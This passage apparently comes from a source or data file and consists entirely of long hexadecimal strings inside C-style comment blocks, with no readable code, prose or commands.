4afbb72faa57d3ff2f4460e0d78f795e90ac6d2a633a5c59d14f981a499b018849f704088e557dad55dc594e230b57c0be61108cea476789d225e8f4b65845c84d72f39294beac757810617d87db8c68a46f205a66186c9fb969736478eba7e49092b91da3dbe536b022d599b2c52f17875bd2ef3a8da245eec0a06748ec211b7096970cec534043e9893e30b10ef9e96a3f61afe33c869f55203b3277f0d46c04f12b4a5dac9089cf155b6ac6286803b3051296a74accbaabb70137372411663cb12cfdfb5006e80ada8576c5b7541c8e62f91a3fc3a8dab582a57c910523f2074c062feec526ae5ada361fe8c7c86b65142217d4142593b53112df87b89faa7b6704ff57c26561732efb56635c00da9fcaeb31836f7e7a2e52b196250146fd74837e586beb33110ac6beff577abb8d57749e166cd56a9186bb3c32f61cc1788beba0c677f4cedc0c5b3eee8ac8cc9ae6758e9a9c679aaddeb8edf39af64abc30e8e14a563b168ea5703031e6cb97a968f1242d04526a8e4901aef14ee3fc04ccc*/
/*261aec077566159061f4376b93d8c68f4e05c2b6ac120028f5d69e41010b677a6d37437c2c7df57c35429391385959bdd4d4f4968b349d8ecfc084ed3803c44a61a80aff6e18c764b7e2a7ec026db6fa7ecedd019968521e864031ab6351117269532ef230f27f15fe959bf2bafcd3f3ccf29c6e91377da9d707d3172d926378adb4fc473f7066db2a970496e8d9ee60b64b1759e166af7ac7fa7bf22390ee0cd8fbe8d00a96644440f4aebe62287b6ceca817b74e66d43289a8bed9f10531e9ccf2c947867afa2a15371f7fced6a5cc2b5a99e052a3b71061b453adc0c6ae3399f1a3825bf0af51c50f4ff323b2ec8dafb1827d4c3840ea8a857fb9be7b0e537503c0d370ca53fc9aa1d6d99c366d414d6c712862b055cc68e79e80c176de22aa6bca48836c1acbf54f88a6c31a0acb0462115672c487b95e1029335b4d0b610bc015d86e19fb9fcf9c4443380d38cf9f023b19b438e86c360c2adb9885786c48d603e32b3132b8d4286522fb7d80fb223d244a1df2a5af19dc298bd1156e2a083736f299ebcc4b0fad513f8ceb16b307bc411b5d8e8589c3cab8bc18f8550d04c3e2c1688707179892574e1051eae7c915461602714d66f0d5d15648d06dd14c1e8be27a865e271292b346c74b6860e86fef7e812d1113260b0c24ec0f7e2e72d771ac8b3e06ce2cc0b67cb468eb0b778136d92cbc220d43b20493406aba076f6143615ad0f36183d27880ad66f78a58a8036c54ed3320a17704beda175a0ba3b28a187528fea7917f2be53e710bb10362ffa90fee1ef82c7001aab42b8834752f9d80bd85f8f684c8e25d066aa5f274435950fedd9ddc61240c6f908a6b0fe9f47aad6209bd7dfa66f31755dc6d8c22e6ce696d780f3fd70e4965aa8d6f9df2bbf055c98e3f160592e9ea518fda7e52748d91e7d580736ef4024d167371391541f1cabd1219ff8a56ac5d5aebaea9e3edca939ce92dbc066492c4980e5e293f1b598832c6c4ca487f0fefe371ad39aec2e664051e4b88fedd4ac10f72461b27ccc8e8b104a6ff0007b5933a7b90ff0edbebb7da5334fa275b6907090660cfa0262b4a25188909c210c6d028ff4f1b105404068b1c9f85852978a17476c92ea50e94c520f9c0657e7594a97f545bb2e3996aaf6939934147750a43a0f63581d8ba68d5b04bd9db4ed93b33b51275315073c3b7e8b8b77dc6a96197be07f7798d6b4a0117a25924457d41a72c4632f575c24f906ceb048d335c8ebd7b8553f411d356309b693ecb0c009d762a2524d13aa00fafc074e1bddbb82783dd9921b20a8e4384fbd20a31bade5a72add2782cf656cdcb8db4ef543e94ee712874cdcfadade7aaa8c9ee1776b8a91a109ac1845df3b5efeac3bf6319cc825076f755d69aec4ff858e64b462c12df3aefa2ac251a915c27c8ab252c3bf0da009f4549226dbfdcc77374a7592cc62a9ebd2710b3dc6ca41d3808ccb0b24283a2c4e3ca27745e2d181e0d1902bde36e22c0eff5e1bdc7e84e449495de99126a65bff290ba78ad49e28cea8212d96b5201e73345a58ace4f1da54f50a4430d05e87e63ba4b1a5a64beb5200d5c0757ffa02f62a5dbd3e7559b797e02006c415955745243d4d7a4fbd0f5b27b386ef30aa3060b5d088f694ebaa8e43f2ece8b504b21083c9890d0aef1df6c5fb02b788f874b80c64e997fae2a41696c9dd6b3d935aa204012811594c8c402fbc427e2e0630ffa348712df2d92786072e99ad4139c231b8936a00104ea6c09e871057b85f139e6b88598ef5cf1292fb5424492976201e1f0ac04e0e94b21e1ef81520711d4c90ed7e7ca2e8d6fcb986ee5b40fc6ad136bd6a213f47696cdb9cf38a45ebd0d0bd140cc927e19cf0c285e62357944817c5b99bcda391308dd6d80e13b3d5cb31be4d9be3aae2d4e11e225f415e4160ae1597d37854e65243439936d5e0b01c346ac35f6cb9dcea7d2cf8b4ad0397bc1fce18ba38a58ddcf48fdcfe6309165fcdb319bb9f9f92aa92637ba377e51142bdfbd8b5e010754b6cd1f15a7a02f04c9776a450c0ab107ba760c27293c4a588c1e5d1e746afd0ce317783890dced8ffb070aa2bae9c8dc49ab58bd96f7f7ef8ba17c628a64b88fd979b48f1d3eaef5566ebf096ad70b1b03a52d18c14c8e9c9abbcbcb91aaf5a02a1886f3dbf6adecad6dfbc0c4d8f8a9f92f0defd2c89685dfded2bb497073b4bfcd3fcc0a1a0f5314742bdac432d7e7b817a41118862b42c332272d9174c56fc7a197b89d5bd137b3f6d7054a4eafa570027708d57358a1de9bdb351de1c2f2bb257efe24093f5395cad7e5f089958ae5fc8eae672124029860f348a238f26c39ea5471d184c3ed72a4a3fc2fb40dfd708accd0e6331a9838c84e09dc28032a4f91d3c261bbbf7e2d1c5735c74e003da757e3040d429a3282d33ec7d88e5afefcc46e400a70e8f1a2131dbfe1d73fe9b60bae30e0ab82e0398ab5db7f5e8f5ddaa3ef2fe36c8c9ffa4787b1bd649acaf7c61e5b11d1b0afd1e908122f3cd2b6ea2b2457104b84cc994760da447639a57dc6f67941f0f8ad7bf573560cca8f0e3ab9a6f5f8a1d26d84d0e92dd41fc4f5bbb60c0bd608d60731c6854357992a090b66bc81d0b7442139d0c2c54fa9c9a2d7b6a074929411074b74ea42f358f487eff79712008e3db3e538ae0cbffd54f783a25d53438bd792cad457c35199c9cc9405eb1c607f29f548138e917570bd37c3fdcdb11b33e8daa78b8b666ab4b18de2992decdf0763edb2761311d96280dfa35b7c2e034a2ab710ef0ec61b445460d5c1a538c318b305d41aacd5b0*/
/*45b24bdde38c2887899fe0b8415716fe9f0d7affdd573706047bd220445c990a62d9dbeb667463e2a19fa9187e7de4a3cfe90adb786357dff414591a78fba962e12dad6c1ae56f02276a73871e6e7f2bbfd82aabf219c75ac61c27a4250cb70052c2d2d3047c11dbf1991cc5cb7aa6dcd066a6fba37265b6618764530f3b35695aa3c059dc80c466ecba699a7454b36afd01cbe69af631861966212e5473e6098ed5e95df3c971370b35138c0be23008f07e58003bd82f69b2a5e5286adccd373e712310b33816da6328acc0221dd529676ccf9b6b33be375ecc1c3ef7b6b5ca94db82e46c7c1286dbaed3aad93f0a74f19eb75b295d5b56020e3888b1ac1c5d09d295e77acae5973492bccbfa506617fd14206cd33092f6ed3d61eedc7d0ebd3f30a705dd70454837bc89f7896ce8924ceb0f29dda91f21a63c1a49cbb6e2cd3d7b36c3ab2cc0da8d7ad268ed7e48ed5323e763bfdc3905da5c14bf0aa43b48c9c729b1f2dd2386361e52be6089466133ed05860968d125fa34e8c6e41611f4ef9383f7a7bdbacceb5a2d7428202778a783ceb6cf4dcc4ecbd0736f68421b886cb045e22915090308b7d56229cf5603cc209dbf517baee399efcea1942f22b1dc40cea3b00199845c1fac312f9173bc88ade167b8e589309558442775d55094b58329e207fa1290c1b8bd81d5253e9a0934b409a4808a36740239d2a8d2e608e01486b84c157dccbf51fbb9017237f32a496f16310a8c1ed6b505f1e02f1c6ae52365d3d7f10bf0834e231b05837c5b461d52f376f5b90626b643b2fbc545fe0c3a3c8cc3a01c728cafff9212daaa3f810cc36a4a919fff86b3ed19a15b63d81646a1ee90c1e32d5feeae5a5ee87ae29967c61d33a274d2b0298d8bfdd24a31453c1ee937a4b51b4facb07cdf2bb88c1ac42bd443497c30a6badba2143fb7c618a6988cae8d735dfddc75fb5ce08b8821f8f2164e5d044fbb3123be2367aa97c8b1e71d9e2be467cfa4a880dce7ac40fd8e2f0fab7252a76a22d43131fb77927f572e9600315e07841536794d6fca80894838a3c827800656f92f044e9effedf3a65e1379b28be90e84755c982e69ef5041966d9e6ae3107d80cf31ef2cf59be4c2be11b5989b0d1fe4e101b2cd36e5c3f56e040f7e1603d247fb26855edfcd93918d54c469b62932eb4208ad8b4ec1fc4c1c07c35b38854924e959fd48c33945283bf9113d44c66fb2d5329065a677265f5d744bf10f9146b2d41abfbd6107eae62d169d9193e528d8b5e88d0ee4d18f2110929572595de73a7778ccfd909964bfeff2c22a3b866461422ccf636cf864483be98a0610b0d4ab416f611d9ee31974df5f7dd7167d1873248784e937bc6c888441483af8acfbe501ff8d4dfafcfbbd020887e6512e184585b2a04e0e7958e3fe42876dcb09d2fff3a675eed9abf7f7285a2f842268996f9debf5463130a265b207866adfed6977df9211f0f314ec3bcca079ef7e4271f5a936ca5f8f2371ecc8cba7be227c593664488d3f2997c0d4a772f576b378747e886a235b5125cff72c65fdd7a1397d37de66fb97a2681cf5d00900182b5d5f229f44d3bab741214ed8d1f1cb8e220a1b753dc22b23432387a209eae043e75d88f575ccc3d4f0d63f6836216bda4c10b1bda341fcc081413646f9361e46b340ac10338de1ba2b5c3b9ca6f10939317a3437f916276d7abac63adcfc9725980cf45963fa24edc50703cd57c2db34e0cb4e0ab33dabd794a4a5d008a75168e4f13bff295f4da5931e15679ec849dc9a7399dfcae117f42624b13a105b6091aa5ed2bfdd0cf75a2085bd4184dfb4c94c078a63a2603db572d0ceb5f5c3c229a462306ec7064b5e54b0014c8003675b0f909a3fa6b58ced793d739b568be2280a9801eff58c49266f1d348660bf1321621b246251d7ed9f65c74d5a22ea5e46a6a1735c1b9fb8c0465ba3cf64dfb2a4a967b145b53fd677d768cb6f70fd41dbaedd0b06b76ad8fad1b46e25eb7292b678ce20938ddfca662cf48bbc3a6fd43609cc92d0fed61e6228cd7e78ecb241c5d1e7e3644ad4556bb1ead1fb9d492a88f75dfc1e15465e920f4b88dfcde17cf0e9ab862a10792b75fb68949c3e3a3bfc3e38af19997291767f75d0ab38765041aa94c347579b7ec78d80ba7b5ddb5ab0d8be0bee289f3ac813ec8c443ba8f643c36df1a71e32ca51dc378b914d3fbd3a2bd4ada393a8caeebaa7d02b4451b2cb34dd2c2fe58f215db9c3b6f3ef11e280d1e3e375917e1de98440404039b53d4b9a00263f9324022a491019268c19c385f8aed6b2ad39fd899081768e0e4cf57c25191da1af2bcc8865834a1c35871c38b7f3ff365b90f1969f8bc4e45aa984af86fa442320eb9f4c16b2ff0e8bf0ece5367789d485ca90f118f6b07a84390dee0476fe8d3e90f6c04163cd0e646feeea255b01d85aa46806b535de11939e3097edd088d6ee04384c04b1980da76cbc4a83c0f205a40a6afac6dca5395739156d83df4eaf05d43a1d85ad878747ba1302493bfa98b1685c636300544c1c04227ad9e644f9809e42f304691958ab3e1924145b3b13769230650dcb451bcfc76e05faabce7fc0b295f14cf30951e1a15917c7a3e9bdce6f920e683ebfb8b3e192412280ed4ef8f029c855bdad80e355a9d74429a1f6c98dc65ced6259406bbc6ca89d00f8f6497d235775c7594fc7d41ca883b0f584839c20c407a3270189b19f6f262296b0f2d60d2759ce3ff775912d122adfee61df3df6b835b30026e24618f51a1f1ab789fa985a47adb439a452d17c99c9d5cf30c2a86da3*/
/*c3a79bad95164d420a12382f5a0e54b5b43955f7ac8a3968d61d2c5ad157e208e06fd317e6667f4d2b78b91ef7adc9b401c2c75786d0a912edec1508b2f68b34b1a4177ecd94f68d30fe0165b94ec4b3d6695c0078da3f79bfe86c36a4a48510e31c2b9b9ba8022fcca32b2d801ae8c53a93fcc1a2009fe41a8ff63af5e9ff320c224462e04818b6803243ec5a8d52fcc351abfc628be3f5368a7e299be78a56ae1d8a40e45412cea2a797597b91ae9e593780a7485c82b7dc70614811d0bf02d02f43a00d44bd7f2c05b6d9a41314c31899c4df245a50633671d35b91389de9b18905282f08a417747ef310d5122b4b5d818a4b2cea0c83a320e10ff05318b071b6420e259f1a107c128e4d5c1444a8e3364ac242d2c7ec36d71899b322973c4ec91128182be4bb79d276b0b0bfd9eaa46c855d5c14f868cb2700a48b6b141871b8c21c57732af2e96bd9667f2aa3114909c096ffbc04a0c31d5f7deb71c8dcf9baf6cbf85364a0d375c1e104f2e3e4cc813110002629c4eaba92d9e79335c7d3d7080e66fe5f8f1fa4921de0cdf6333453efdfb1acb6a53e45f394c6bd82b734df207f66509139d9f8d30a9e82585d4d6a72cc2a05c9e68be55253ebff9625df7836a8b1501715f208cef01bdbbe4ebae02dbd89fb3579d6fa1306bb96f364fc6d9c8d001f5363eabaf708db371220e6d1c00d673f3f272a6b85078ad2c5ff05b793d04936001258cfdf4252e73230477016f9abac1b6aeb318bef4eea0e62a3156d7cb121776cbd9b3126f815b90ce92c97927cd85d404c4ac242bc6974f514739bb63cee6ff7d44f43bcc2a1c22ee35a3e98aac2ce36e8077af67b0aedde7cdc16e653d6def7481147a87ad4def0b24a97dc4a45ebce77c063b2d8d24dcb6277f78b8142c76dac9797f18594bc4f29d7e09bcea49b286e57c3bee98182475587e98dab49e64d72479dd187d4281975f67b4cb0cc5c22c5751a399e20cfcb503a04543d6dfdc9ed58403f484aa8583885b5b6c0cfe0330573d97d15a96a8ad1752bd2a21d952fe6b15ad9f54bac83da816548a91b55973451c41e2765eecb953a46bedbdc0ebc6924a93d3791e7fccb33cbd96da04ba9ad523fe0dd80fa72f4f9b51632583f803c4e7e61c025385cf72367adb4bf914959d32bcddd1506698a13c0e3ec3b8363187c2d3625ea1f2f5a77524475c65445c8282be369051432dcb6978d714acb30cfcf6aa49d74022b5ce6a28e4cbaa3d10b70999a178eb3c0793aa605523e6d9fcc6d41d4fde9936bff9871b66fdba26c3520df291d62a85c5e96b0acf31fd96fca6f58feba16715f5c904c40cc31dba3c666953840fe3448fdd8b2613572310e960df6abf11f3f0709336bf88c49cf7b159ea90b3b2eefff7f97f5ad8f378a93962fe2febd0a715719b98cd0687cfccba630c9a1337762cca08a08753a85e86bb29bdd480a0872082c962a3b258b0ae992821dfe7d02ad5e1f85df42d50100e45230aa2f9a765990e3dede98b7cf90b9118641d462681454db4a17595a5f845167f00f89e20412440ae3483c2243c63ea2d062d4be8209339e90a60f5120c3d2004329fe82ac38b5b0784a59f4f01bf97a5eeb9d1f0994892306fc2bdd66a9478e2e9f1e88dda0beb4c05fe4e7c2748a4e7657af06b3c4bacd97e6f28c55ff5c2cb9c53876abed4e954e5f1110f91efaa1f8d957f5011288f3a09271740c7b2f065d2aa1f00af0960df60c29460208837ca56fbbbaa442934c78540d00af70f654819ae18bcd835b1e4a8bd2bfabb51727bcf69e5079d672a5fe8cbf870860c8b8e27f3ded4ddd2b6137287f0f1712ef277d297bccbcf118d58d9834457dec01c5472e65ac6d87337e104e0b02348f5fe960bfa330c4383ab77c4439a58b0eddd438414f9a9f3708d870a88e2fc5c1cf221b1996a9e5820f324f186d2c4fda3b4a568f3a675b069fef0ed9ee1b96036c6a83ebec150bd6dcadfdd8633a749570b0ec9f6fec7a271bb18f107a650f10fd38b99c39824ad22c68a7649c251d330cda2c9d86622ca642c7fb94469cc4e3e1955c0fe65bbb409c74b20ba9b4aac258788fb7e7cc47d6dd9f79dfbc5d6315575443bc9703c86ca050a130e911c9ee488839736e0972cc9933f65d7605df304a619bc5ed60feba7a312e786923858c1e35b4f86b32c70fece9a3a2e4e60cd9589906f20848992aa85a52dc3ad3efd3c5538d0cb4430f64201cd3a920de9e4649b5cf82663bb046adf80c2e9c6f0ab25105cc553bf931dab3eb09cc693ff92b8496662da2b7c9d305dcf59cd90b925dd083c9822c70a96b58ec59c69d8f658ab8b846263b4fe9baf18afdc20968b5413f3962a71d6e93e1f0c0536f9f8aaa8ffe67ffa3db6d1557ee7cf01c0195829e86deedb98a930887bde847e32f21d532aa09d6299e97cf0e38b0523ad0f5c68565cd30a2425a701d9c7a5352d7113dae1cb91be9c6694c07cca578a80928ed92a8f8711d5498674f372c80f138dfba87bb340a3cf011d140321ea615630ac0669e93aef484a5cf550781a10abb3f2d11dac9bc281c008506d00e4a0ae86294c61f0c3a6228962aaf26349c6dd26877f6471ff27f3f4d2b9e8e70178a2541696e3e3125b523867c63a4de0eaafe7fb4d69fc22df27493478a36132a768ce08805b013325227ed7464b5fcbd45c5aa9b54c9c1f0fe0239960990c23eddb1280ed35273d655c8e98b932680a6067114613b4afd36520695aae858ee1fc4073b1d7f44d2434cc10d18a6ce8971e864f94c3876ce413e16bb8860f9061e99574598d408b10ab7aed8cfaba6*/
/*21f4ec2a64cee13079d74c7cb8776c4b0c3af22fa7b43e15f7132dd9045c71bade11f3257d19ef0f6a03b8efe10dfbb11e657993a8dd7315c62d574f6740d2c746a1ab6e07dcee2d777e3f5f4e2401855a0014c8c3a8dd044c3285c5cb31abe2020eba689b140e1a282a86362360d197fc1efdfd91e074155b5c0aa4c71b5887f664b08bb569d6bdbb4849e692add4971d0213b3e3287fda86f9eb7e45fc832a9db99e1a6500d1650d410e9ff14f44bafc83c7062c75f4b3de634cab812b74fa47a8a4ed63144e75eddfe6160dffec5809bd299fc158cb39a0a5213f07df62eba4f96bb8500b25872cf97f76687343f6e308217071400feb02208fdb8ac3304ee71fc0a79d855ac18751616638661d3de98e2148e64b08a9b1ceceea69856640331c8ba0a3e5442c6d41f6e71b60c83b9355024de5b58e5ff47bba0f66822ba58395bd0fe0899817fe086a1ecc94412207a5d1e9277ca3e718938727958cf8eec007179456994d02abbe275312e4531ff16167cce139fb8d988746f2cf54729492fb4c1bef85abf0be0d135fbdce0025bf77dd37f59b5c805ceb93a44da0c872e1233bf7934f746931ba0750afc7952dea36fb9d54b522d497c8584c5435c2206f61efbf9437d13869b02ca337a5926c58d4743fd303a0f8bbe1166fbaaf309940d0470ae40790b98dea2ad3d54c54be2e12e54e39a3772b20008d97f0218d2e25abaa332002f991e8b66944038ca976d58f203e4dfdc4e302c8e89b33dac842f8f1a921699d30ca9f81bdea68c1b9627d33b1103410c062729a97042ce4410909bf339c7439bebf5d80a11fcc8ddcedb815c7927af31fc2a993287ad13aa844bcb3ef2025c10aa6874d89a2c7e95ea177235a38221faf05aa62d8b012f1663fbb93cc7722dc1c553b9ea7a827501076c6318b8cfc8d71fe3784163aa99db2f9f71fd743f6241e40bd410ee48267d780db4ff5e7498b57e0d3f59eb661eac4cf69e1d984d54aedafb2cf049b11a29a46249cbbd81bf1c7e95901772e6917797d6af5af7006dc4d5bd840b2dfd611828be87555bb143c6bacd33702f5b6744462fc2fc908d7619dea1e6000fc06488d0ca127d1edb5d0e5ce991cdec45d566c1278de9653153b4c77d38247f46a142fd21104c3e1576a064a8c38ce13bc6dfdcd2a332bce87867be905ef228d40db0a0f7187d9605d5b108a6c276bdf3cc3cffd47580b417e936b93a79ca701b7d87915007e15857ea2102af381a4ba2cba84ae341d6a272c6bc71baa578b838d4d7f0776a9a1616a9810ddc25dba299b45d42f1697a3977ba9ee4f8e1d510b812c8124e535345b4cde5fa7483fa780faa18f9ce8089bcb145a1d8166a991dceacbc28c753fb3b790554fd487fd7959735e0c2ee6775bbbeb9b35c74918e3d12f2ca47710f4bab356e4b725ec13d18fb7cfcceb096fe2b1fab4685e05cce91152d7346b76bb7fceacd5fc969e6f93e62d56c3e77c25a3da568c471283c44f83e5b9439e157f75584f7cb284b21a47cfcab09c9d5477c02de0c0503ff5b5dc1f783a2db9964673d144e130d814fb40e3bf6a221b45598639edfe97ed5f6414f7e01e5e537186c9f3e9dac078b7aacb6eedcac0d7e62c04edd1136626ebf6942a2284a7184ae85101310e33838b25ab88fc393ace7a49898eb59b4755c0eaf268528b6b2be80c167b7f49dc252d1d75c36f4532cd983fb5bcf5e0db0bc695fda954fe096c29dbe9413570656099ba05a4e3d97b982bbcdbd3e6d0a041bc9ec40757aa960ef1f83fde9a951e64ec5a7e6cd283394bd7c85929de36b33f4f3bdf58761649d4a73d5bbfdd93e1d106935ef206aa4c9367414536f11ad23489ae515ac794b531c67873d66a26808ec3fdfc1ca3303cf7aa522cfa6325418b948287ac44b2938627d974ec67956a72d6a8d120bafc20bbd6d1b4c6734c05588c64f531b72a481a66b870f18a65a2c600cf6eff236b605277b792b612476667e605b0b97daa3bd65e4a7cec33c2b0e132af662f58bf6dbe8f3a94c9f017eed928074ab3d00dfae1703e3714545bb7b79f6dd893b1db695ed5694791aa82204aa69db07688c1e1fd2bf107d7e36acfde357b3ea7be9ae44086d1e0fbd10511f890eac6d8ba78bfa012f0be7584a52a37be7638d8279158f9625ab7f8d823faa0d27eacc6ef8734a4bc2b23cdaf3c8c2c0175c2ab1d7382b427c96be6a1039b7118b01bcce3f2166f1e787be88bea0280ea95a1f43bc3eea8bac8ce5db4d4abd4a524221a0f4bfeee1136a8e0a8a6036dabd6dcd9f45ae3e08b20b4caa414b134d10f4a314453b074df4f2fc8237d140f3a5cce24a6fcd80d7423e22d3f7320499d9019703ef98e1be86e53a27d2fcb39c4e77e43e43162c4644ad4e2a9237683244e7279a36af5fc94a34ca21af887a6640d3883782578fa284b9ef1d381f30b470606cc75f886ec7fac47ec6a5a8f5a16aea5e24231ee2cfd8306408643ec93ffce13e3b53dd82fdfa1042dcf38918048a01c8da6d807a0c818c0095a1c10283bc9bd90ccf36c8c51efaa4689ab65bdbdfa3edccb5be1f608267e891334080ad3c7dbaed6f0b8d5bbda4c27c26c5a73926f63bc560aab6e42d9340c6669452bd2e8ee55952b87067e75c678f5a63b0a04fb6ce0fb43a667c3fad0415f3aba7a07e1921484744c2fb026bc2f295a5a95c1ad75349c017873ccbae746852c1e0caf13d40ad8cfa4b61b450722859cd038fd520143a42ba222bbee669145ba946412f13e4822865d65369a005554268dc157f1fa6eb3d9a498f98b29b6ff76e1f1bb25e84da71b8a24*/
/*68fb7165f35fbca78892e643feee4bc9531566d7d44a3e160db97759a4c4dd56d246177bd341179dad3a648ab9f25a8ca4094415cee92d302b802f66c827bb26f1bfa9e6b515cc52dd2b915370f8140cc774631c1a7c661f69f587f4d3df64659d72f93a60c97322affe1f2205e67eed3b75779dd5e28d48362c76345191a050dbaf8bcddff14e3a7e6a0b913984ce4d3073b5515d39b1b072d58e4164440e815138f5fdfb4b61389e015f7c1e000aa368214bc485d0d42beb5b6ca1831f90e397896052557e3e9c78635cc844570375cbc69114cde01ee535b59721e02d4dc7d64d74c4aeee530b9bd86286c7b30e82bcb9b0d867263b270c9297195385274362d851bc9a67e4e6e780f0159f3a85c1e42b59380d18139ff0188b993185b622ce2ffede1c85f07aed22c2685eb1d47d462746b51d30d5c16bbb25751d7ab60bbeb2aa8e92fbf4d3764c241b790c0b214e1ef38a1f3e7830c5dd9898c3b5f9382322db5db68a5ef2ffb0d583db5faa14401ca074a41bee2d71640ff5e2951d1ba7dda4b0e53b936bfa2cd1acbd142c63429c4072d982ee3aea6afc10de7dabe7090feaeab57bac2a11de8609bb7e3426a74cf6dc283cc49abaceaa81edd769fa5889605355cd6a2dae485d0edc76878f1ddb0ad94682022f527faa76fcab7b9edc0641b52997a6afc5fdfdd732c4acd4c68a680e7e453d722f6eec101eb2dc0f788271a647bad65104c5937b85d54b59f20ec8e89c60ec4a208156f5a84225abc6d3a47d11ee0a62ded57cdb8764506bd056e09d96b6052a4ab40b0294a7e4608daa8c17dcce739b761a8edecac695d4a4a07a7c67c581111fc7322edb6a09b7379c0e2c98fc62f3b4b1740402a46022ca041525bb058ded15ee7ed29e40b640f94a54eccfaaa2400280bbebbfb4c583573ce675e988592bea9a20c82e0452af4000dad803ccaec37d7feac12047c182aaec18322896d9222e9df1b78b447872df82ffb5c6d7ca5fb4db015685e761471f3f99cd6e36040869340540c2104fb3447df945d0a2d47b4887fd341f7b39f348d24f874c7cf2a6758289e3c304ab38366a7d817347b910fb892e49d78c7c7a9a950e321f57201cde1da685b07149416ad24e5de1d00f2704b1b47f589f4bb84b93366a7ab643a09d7c1e718069740dee80fae24b555679d030706d4d604531dcd80abd866035fcb369e6f270e17c1ec61883a54d3823118d7ef85fbf40ceb54d8387676c6e9ed78bd8e865aa0e3c263201b55e4aee441b761feaee00994fe424720eb6fbf388917012f549f2fba8d17396b6c79b4056962323333b5a1a0f0112bf4129e79fd558c6139172803be84ff95156eefcb3467a3608d596d5b200d9738e266b52f5ce3cca0735c7421fd2ebdf12cf1329152e1f511bf450770ceed7cc004c3952a024d676f1d502c61835c544a4f3fd7128c48f35b8b2c0d97c37f8f3f950bbd88b8d7738464041ee939cbf1fa55dc022b0b1cf43142b2e55960b9fe354ad90ec0a3057048ed92159c29a865185640a551e8e197c238cc38cef4c1ea8b709e9688cb0e0c3aa2a979e57291ee059b04bf2a99ea9a75a41f5a450edacc58cf7ede8c2a0b1528b30655a88a92068693d818080f195e63af54ba2e3fa928a728f0381bc9b60621bbcb5054beccf65c80c9165a5bb35036302ec8d16a9242faa874d82f70f0f5b255481a35674bb2ab98ff226e6bad8bca4eec9ab73d29205116dc1fbedd0fa11461db9388908f19f307aa264043e2e8e20d627a322b55369b5d003b9d21146c92e4972aa01ac1efc9f6ac304ff82cc5fae9195d9107c8769b409b5bffaa5af79135713f5d8cf10c6e6496c572f5d2e740822b618cccfe5a772db475d0af4194b7cb5be2d2c3e31629d49c1e725df946b3b699f99d9eaea5b30903dc39deb6772c7dede877597b4a465fb6c6247d869abc402f2e353bb77491ff04c2aba7750a323fd0787e70138246f58f7c036ca8fd22053788588dd234ae30cebadae4a7f2ec53ffca1470b937fe3862d567f1820a5c3ca439a2827d03b9d9a62eecae82026a8fdedde657e8914a5c1714f331e8c2c41b826012e1328027e017254508a32b3489c4e9c47340727fa117924afb26d30b400fd1b5f9222db1d7dd999d15c809f3fcb4e95f13f75f283a4114bd904d474e56478da7c370710d7e1bf8c3bb3304f7886ce5e946ab6e319231b7a131d84de4e7d2b7a4fabfd610ee1a6d3cf3bd9fc66b5b342577b3c7e70fc41a2ab8e7f063e656269603aa383d493fc4d79154d28da8fe9ae32724196c1bd1c8af20e190fb24cb9f3535bd38840e8a6c64330b6b4fb0a7a8a8838cd04032d43d4b12b6179cf871180613ce19a78fc5e2213deeb01752073343c7d7cdb044f8eb4e7ee34b5026da0af9b3c9cb673e602edfc00586f189c6c93f33a81817cee07e4d8d62e3af8ec0b7393958195ef755a406cd1212053e414753937f2dcdb1b5fd3e2c692d4090017b316cc4831b297fa29c00c244f26cebe82547f9c7580aaf471994045ee3080cf21951c106d3c8158e95a7fa2ac9dd37d540eb00be67e43ddeba594881c9c300f10be1606abc6791a668f93d191676f168130ae3611431250b3f917e171831698d265d581009f378e7dd7eea4c194b2c6e28cf47a069709963883a6e371abe6b70b4c783506614a6888560fb035422fc7db4652a0cc5360043f1e7bdd3f9c0d8a9685004e81a44e1907b1f8dbb339f7ddebeaca6c4fb6211471ee0f56a312d1a41b74d9dc5db0e78f9c9fe7688c9cb50a5309f132e3d2dbcd77886325ac567c9cbd5889c1*/
/*a9fcaa11cbecddbe07938e30ac806b0e790b0c3aba098b98e4b5d556f69c20a2f234773c8c6e7e2ded5b6208424135db247dbd42872b47d4cbd23933b27f33d56c66cd441404f7cffb754721fb5544fce034046a2ab51d27b76d7f45de603ad2fa7ff397fe0ce6f045d4056e147b67a20eca32f21869399b55e64262167bbae4f6b0f41ed153f8f376d634583212e11b1d5eeef0e30b517da3fa2bb79e96efaf72a902daaae0d8782d4255734a6d686dd85617256ebe9ae31cfc46a20d715d28a703891d62a7341653a2101452b8a2d50f72859f2588c788a14214e7517cb0a433814f2675c767c2b90047067e342813d0ea2d87f99a1bd04947cf35bb33b571427a84e8a2ae8360b3813357ef7b477b6c906c638e2f0bd0fd3806ac1f8b0174ab2d307347f6b24bd86b3aff508996c031e347bed6b856a70d8def7936eebda29f626943711d051a3872718f0742f5e0ad2c1a37f61b4a67903d80968d1ccc51e4bac8c9aa327fb02f2c4f2b026f65151666869fea3bae7320c7997edd336c07716b97e76633596159bc5013597bd99023c0aff54b4e666aa2a6d345202b0dd17d17eb52fde6d96ccf11da70ac492a9c61b96995da209accce810b9a74323971a49393888b8340b8acb7c0da6beb065efbff6a6b30810ded0a55064ffbe3eddd895817c195473e2020dda6ea0ba02bbafdb919c7987527d8633c198a58a01e4697339a18b9a93c53430b181061eaa6ac17f3b8c17868745f5f27d53e5160c0d827f300e5584c48639167f0d61510de67cd3a5fd86fbe1bcb5e764477db6a7f2af12f45cecd340739575724d24e58bf459fe578de6858d63a6a3817a23bd5e5aa9087ea7e7552e7b2739671fa5bf5628d1b98ce810919fc99e1f4247014d6530eec189c56400dc5839e84abe89f024c5c8c979e76cb91f87bc6b7b7f7bda6e1eb3f0567a829ff747686ac8a1c492f3df3286e66dc8ecadef864da8b491bc8dc189cc9e18cb677826b5e91ef71911904c0de3d58b6d08bf0f844be970817c595f33c70befa9168eca4a8d4324f4435812112ad0399fc66ece3ff1f8a82afdc96cee2707007e4cecdc5616abcf3768a1a105b44f582764cd8ec7b82876efdd35c72d51d6a0ec384b11cb526fd7d63bdd3f7115c7ccf488af8542bcfe9e7d3b945ae588799af65aadc5da3d86316152f85e60afc616de85fc7d6c8fc43f5bf13fe04c39cdc741c159f23b595dac72d8060e69bc7560f13d72a89bb0044651631e0b9dfa555a77920fe64291cabbfb2f31e08e575900acdc42a2512831c02ab99a259075aee1dfa8e555e8327272a17f47615a180623e001a0703c64f2e22c3d47df4e41ed138d09f5644a409512b47446788e45f10c9df3dcc731d4444bf16681c139c1fb0fb1b524b23958def8228b76b342ee31d40933cfe44d52154ea8dbd2490dde680a1a4ff4675bed72f4a46872c0f7c6c9e3d1759be7edb5d686535ab89c08bcd49a81c7de6ff2a8689f096f70975594b2274203956e9978052c76f2b369342227b48a98d